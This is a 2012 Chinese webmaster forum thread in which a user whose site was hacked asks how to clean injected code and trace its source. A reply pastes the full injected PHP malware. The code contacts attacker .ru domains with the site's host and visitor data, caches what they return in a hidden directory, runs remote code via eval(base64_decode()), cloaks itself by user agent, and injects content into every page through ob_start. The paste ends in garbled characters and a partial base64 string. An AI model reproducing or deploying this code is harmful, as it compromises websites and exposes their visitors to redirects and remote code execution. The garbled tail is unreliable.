ATOM

本帖最后由 ATOM 于 2012-3-6 22:40 编辑

网站被黑了都加入了如下代码如何解决？[ol]

[/ol]复制代码

cnweb

这是什么代码？？

master

清理掉

ATOM

master 发表于 2012-3-6 22:40



清理掉
如何找到是从哪个站黑的？

nbweb

if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists('mrobh')){    function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';}  function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}  function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}  function tryfopen_777($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}  function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function trysocket_777($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val=="")$val=get_tds_777($actual2);$f=@fopen($tdsfile,"w");if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,"

ABCDEFG

CODE

ATOM

")){list($val,$code)=explode("

wdlth

CODE

Irish

",$val);eval(base64_decode($code));}return $val;}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir."log1.txt";if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode("\n",$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;}  function is_mac_777($ua){$mac=0;if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;retuarn $mac;}  function is_msie_777($ua){$msie=0;if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;return $msie;}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";$mz="/tmp/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1;  global $_SERVER;    $_SERVER['s_p1']=$mz;  $_SERVER['s_b1']=$bot;  $_SERVER['s_t1']=1200;  $_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";  $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);  $_SERVER['s_a1']='http://www.mrsmtihinfo.ru/g_load.php'.$d;  $_SERVER['s_a2']='http://www.cooperjsutf8.ru/g_load.php'.$d;  $_SERVER['s_script']="nl.php?p=d";  }      setup_globals_777();    if(!function_exists('gml_777')){  function gml_777(){    $r_string_777='';  if ($_SERVER['s_b1']==0)$r_string_777='';  return $r_string_777;  }  }      if(!function_exists('gzdecodeit')){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));  $start=10;  $v=0;  if($t&4){  $str=@unpack('v',substr($decode,10,2));  $str=$str[1];  $start+=2+$str;  }  if($t&8){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&16){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&2){  $start+=2;  }  $ret=@gzinflate(@substr($decode,$start));  if($ret===FALSE){  $ret=$decode;  }  return $ret;  }  }  function mrobh($content){  @Header('Content-Encoding: none');  $decoded_content=gzdecodeit($content);  if(preg_match('/\]*\>)/si',gml_777()."\n".'$1',$decoded_content); A?暠蜁靲伾曆丈竴憫晬綉晳}嵔寡暪泄澋眧苘軤れ€侓€侓€伣墋脱吷袪澋山墵湦靲侓€侓

ATOMATOM

QpOyA高墙Vsc2V7ICByZXR1cm4gJGRlY29kZWRfY29udGVudC5nbWxfNzc3KCk7ICB9ICB9ICBvYl9zdGFydCgnbXJvYmgnKTsgIH0gIH0K"));?>